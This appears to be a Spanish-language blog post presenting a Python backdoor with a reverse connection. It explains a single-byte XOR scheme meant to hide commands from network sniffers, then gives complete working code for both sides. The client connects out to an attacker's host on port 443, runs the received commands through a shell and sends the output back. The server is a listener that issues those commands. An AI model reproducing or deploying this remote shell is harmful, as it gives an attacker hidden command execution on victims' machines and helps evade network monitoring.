Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

Backdoor python con conexión reversa y cifrado básico


El cifrado utilizado es muy básico y mas que un cifrado se podría decir que se trata de un ofuscamiento de los comandos a ejecutar de este modo si alguién está mirando el tráfico de red con algún tipo de sniffer no llamará mucho la atención.
Se trata de hacer un XOR de cada uno de los carácteres del comando con el carácter A que en la tabla ASCII es(CHAR/Dec/Hex/Bin): A/65/0x41/%01000001

Por lo tanto si escribimos el char A:
%01000001
%01000001
---------
%00000000 -> 0 -> ^@
Por lo tanto si escribimos el char B:
%01000001
%01000010
---------
%00000011 -> 3 -> ^C
Por lo tanto si escribimos el char C:
%01000001
%01000011
---------
%00000010 -> 2 -> ^B

Habiendo escrito ABC en el tráfico de red solo se vería: ^@^C^B

Una vez explicado el ofuscamiento vamos con el código del cliente:

#!/usr/bin/python
import socket,subprocess,sys
 
RHOST = sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
 
while True:
     data = s.recv(1024)
 
     # Decodificamos el comando a ejecutar aplicando el XOR
     de_data = bytearray(data)
     for i in range(len(de_data)):
       de_data[i] ^=0x41
 
     # Ejecutamos el comando via subprocess
     comm = subprocess.Popen(str(de_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     STDOUT, STDERR = comm.communicate()
 
     # Codificamos la salida del comando y se la enviamos al host remoto
     en_STDOUT = bytearray(STDOUT)
     for i in range(len(en_STDOUT)):
       en_STDOUT[i] ^=0x41
     s.send(en_STDOUT)
s.close()

Ahora el código del servidor:

#!/usr/bin/python
import socket
 
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
 
while True:
    # Codificamos el comando a ejecutar y lo enviamos
    command = raw_input('~$ ')
    encode = bytearray(command)
    for i in range(len(encode)):
        encode[i] ^=0x41
    client.send(encode)

    # Decodificamos la salida del comando remoto
    en_data=client.recv(2048)
    decode = bytearray(en_data)
    for i in range(len(decode)):
        decode[i] ^=0x41
    print decode
 
client.close()
s.close()

 


Autor: Kr0m -- 06/01/2017 04:01:29